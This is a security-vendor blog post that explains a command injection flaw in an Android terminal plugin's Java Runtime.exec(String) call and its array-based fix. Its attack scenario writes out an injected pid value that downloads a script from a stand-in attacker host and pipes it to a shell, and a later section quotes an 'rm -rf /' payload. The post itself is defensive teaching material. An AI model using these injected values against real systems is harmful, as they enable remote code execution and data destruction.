Back to Blog
critical SEVERITY5 min read

How command injection happens in Java Runtime.exec() and how to fix it

A critical command injection vulnerability was discovered in `ProcessUtils.java` where process IDs were concatenated directly into shell command strings passed to `Runtime.getRuntime().exec(String)`. This allowed shell metacharacter injection that could execute arbitrary commands. The fix switches to the array-based `exec(String[])` overload, which bypasses shell interpretation entirely.

O
By Orbis AppSec
Published July 31, 2026Reviewed July 31, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in Java's `Runtime.getRuntime().exec(String)` within `ProcessUtils.java`. When a single string is passed to `exec()`, it is interpreted by the system shell, allowing metacharacters in the `pid` parameter to chain arbitrary commands. The fix uses the array-based overload `exec(String[])` which passes arguments directly to the OS without shell interpretation, eliminating injection risk.

Vulnerability at a Glance

cweCWE-78
fixSwitch from exec(String) to exec(String[]) to avoid shell metacharacter interpretation
riskArbitrary command execution on the device if pid is influenced by attacker-controlled data
languageJava (Android)
root causeConcatenating untrusted pid values into a single command string passed to shell-interpreted exec(String)
vulnerabilityOS Command Injection via Runtime.exec(String)

How Command Injection Happens in Java Runtime.exec() and How to Fix It

Introduction

The ProcessUtils.java file in src/plugins/terminal/src/android/ handles process lifecycle management for an Android terminal plugin—specifically killing processes and process trees. But a critical flaw at lines 45 and 57 created a command injection vector: the killProcessTree() and killProcess() methods concatenated process IDs directly into command strings passed to Runtime.getRuntime().exec(String).

This matters because the single-string overload of exec() invokes a system shell (/bin/sh -c) to interpret the command, meaning any shell metacharacters in the pid value—semicolons, pipes, backticks—could chain arbitrary commands. For a Node.js library consumed by downstream applications, this vulnerability could cascade to every project that depends on this terminal plugin.

The Vulnerability Explained

Here's the vulnerable code in ProcessUtils.java:

// In killProcessTree() at line 45:
Runtime.getRuntime().exec("kill -9 -" + pid);

// In killProcess() at line 57:
int exitCode = Runtime.getRuntime().exec("kill -9 " + pid).waitFor();

The critical distinction is between the two overloads of Runtime.exec():

  1. exec(String command) — Passes the string to the system shell for parsing. The shell interprets metacharacters.
  2. exec(String[] cmdarray) — Executes the program directly via the OS, with each array element as a separate argument. No shell involved.

When exec("kill -9 -" + pid) is called, the JVM effectively runs:

/bin/sh -c "kill -9 -<pid_value>"

Attack Scenario

Consider what happens if an attacker can influence the pid value. In this terminal plugin context, process IDs might come from process enumeration, inter-process communication, or stored process records. If an attacker manipulates the stored pid to be:

1234; curl http://attacker.com/shell.sh | sh

The resulting command becomes:

/bin/sh -c "kill -9 -1234; curl http://attacker.com/shell.sh | sh"

This executes the kill command, then downloads and executes a malicious script. On Android, this could mean:
- Exfiltrating app sandbox data
- Installing a persistent backdoor
- Pivoting to attack other apps on the device
- Accessing sensitive files within the app's storage

Even if the pid comes from getPid(process) (which extracts the PID from a Process object), the killProcess(int pid) method accepts an int parameter that could originate from untrusted sources in consuming applications. The int type provides some implicit protection, but the pattern itself is dangerous and sets a precedent for copy-paste vulnerabilities.

The Fix

The fix replaces the single-string exec() call with the array-based overload in both methods:

Before (vulnerable):

// killProcessTree() - line 45
Runtime.getRuntime().exec("kill -9 -" + pid);

// killProcess() - line 57
int exitCode = Runtime.getRuntime().exec("kill -9 " + pid).waitFor();

After (fixed):

// killProcessTree() - line 45
Runtime.getRuntime().exec(new String[]{"kill", "-9", "-" + pid});

// killProcess() - line 57
int exitCode = Runtime.getRuntime().exec(new String[]{"kill", "-9", String.valueOf(pid)}).waitFor();

Why This Works

The array-based exec(String[]) does not invoke a shell. Instead, it calls the operating system's execvp() syscall directly:

  • cmdarray[0] = the program to execute ("kill")
  • cmdarray[1] = first argument ("-9")
  • cmdarray[2] = second argument ("-" + pid or String.valueOf(pid))

Even if pid somehow contained "1234; rm -rf /", the OS would try to send signal 9 to a process with the literal name "-1234; rm -rf /", which would simply fail with an error—no command injection possible.

Additionally, note the use of String.valueOf(pid) in killProcess(). Since pid is already an int, this is strictly a type conversion, but it makes the intent explicit and prevents any future refactoring from accidentally introducing string concatenation vulnerabilities.

Prevention & Best Practices

  1. Always use the array form of exec(): In Java, Runtime.exec(String[]) or ProcessBuilder with a list of arguments should be the default choice. Never concatenate values into a single command string.

  2. Use ProcessBuilder for complex process management:
    java ProcessBuilder pb = new ProcessBuilder("kill", "-9", String.valueOf(pid)); Process p = pb.start(); int exitCode = p.waitFor();
    ProcessBuilder is the modern API and makes the array-based invocation natural.

  3. Validate inputs at boundaries: Even with safe execution APIs, validate that PIDs are positive integers before passing them to system calls.

  4. Lint for dangerous patterns: Configure static analysis tools (SpotBugs, Semgrep, ErrorProne) to flag Runtime.getRuntime().exec(String) calls where the argument is a concatenation expression.

  5. Apply the principle of least privilege: Terminal plugins should not run with permissions beyond what's strictly necessary. Consider whether kill -9 is always appropriate or if graceful termination should be attempted first.

Key Takeaways

  • Runtime.exec(String) invokes a shell; Runtime.exec(String[]) does not. This single API choice is the difference between injectable and safe code in ProcessUtils.java.
  • Process IDs seem safe but aren't always. The killProcess(int pid) method accepts external input—downstream consumers may pass attacker-influenced values.
  • The fix is minimal but eliminates the entire attack class. Two lines changed, zero behavioral difference for legitimate use, complete elimination of shell injection.
  • Copy-paste patterns propagate vulnerabilities. Both killProcessTree() and killProcess() used the same dangerous pattern—likely one was copied from the other.
  • Android terminal plugins are high-value targets. They already have process execution capabilities, making command injection particularly dangerous as it extends those capabilities beyond intended bounds.

How Orbis AppSec Detected This

  • Source: The pid parameter in killProcess(int pid) and the return value of getPid(process) in killProcessTree(), which may be influenced by external process data or attacker-controlled input.
  • Sink: Runtime.getRuntime().exec(String) in ProcessUtils.java at lines 45 and 57, where the single-string overload invokes shell interpretation.
  • Missing control: No use of the array-based exec(String[]) overload; no input sanitization to strip shell metacharacters; no validation that pid contains only numeric characters before command construction.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Replaced exec(String) with exec(String[]) in both killProcessTree() and killProcess(), passing command and arguments as separate array elements to bypass shell interpretation entirely.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This command injection in ProcessUtils.java demonstrates a subtle but critical distinction in Java's process execution API. The single-string Runtime.exec(String) looks convenient but introduces shell interpretation—and with it, the entire class of command injection attacks. The array-based exec(String[]) is equally simple to use but fundamentally safer because it bypasses the shell entirely.

For any Java or Android developer writing process management code: default to ProcessBuilder or exec(String[]). The single-string form should be treated as a code smell that warrants immediate review. Two lines of code separated a critical vulnerability from a secure implementation.

References

Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #2557

Related Articles

critical

deleteNestedProperty Prototype Pollution via Dot-Notation Path

The `deleteNestedProperty` function in propertyUtils.ts allowed attackers to manipulate JavaScript object prototypes by passing specially crafted dot-notation paths like `__proto__.polluted`. A fix now blocks dangerous keys before processing, preventing prototype pollution attacks that could affect all objects in the application.

high

How Denial of Service via Infinite Loop Happens in JavaScript Dependencies and How to Fix It

CVE-2026-67213 is a high-severity denial of service vulnerability in nanoid before version 5.1.6 that triggers an infinite loop during random ID generation when processing specially crafted input. We upgraded nanoid across the entire dependency tree to patch this flaw and prevent attackers from freezing application threads. This fix ensures that ID generation remains resilient even when handling adversarial input patterns.

high

How Sensitive Data Exposure happens in Zotero plugins and how to fix it

A high-severity data exposure vulnerability in `Zotero.ts` automatically transmitted complete document metadata—including private notes, attachment paths, and tags—to external LLM services without user consent. The fix replaces broad `item.toJSON()` serialization with explicit field selection, sending only essential bibliographic data.

high

How missing dependency update cooldowns happen in GitHub Dependabot configurations and how to fix it

A semgrep scan flagged `.github/dependabot.yml` for lacking a cooldown period, meaning Dependabot would immediately propose updates to brand-new package versions across npm, Bundler, and Docker ecosystems. The fix adds a `cooldown: default-days: 7` block to every `package-ecosystem` entry, forcing a one-week waiting period before newly published releases are considered — reducing exposure to malicious or unstable package drops.

high

How Path Traversal Happens in TensorFlow's Data Service and How to Fix It

TensorFlow's data service dispatcher validated dataset IDs against forward-slash traversal attacks but overlooked backslash characters on non-Windows platforms, allowing attackers to escape the root directory. A targeted fix adds explicit backslash validation across all platforms, closing a high-severity path traversal vulnerability in the snapshot management system.

critical

How Unbounded WebSocket Message Handling Causes Resource Exhaustion in Node.js and How to Fix It

The WebSocketCrossServerAdapter class in a popular Node.js WebSocket library lacked any rate limiting on inbound messages, allowing attackers to flood Redis nodes and WebSocket servers with high-volume traffic. The fix introduces a configurable `rateLimit` option that caps messages per connection per second, preventing resource exhaustion while preserving legitimate functionality.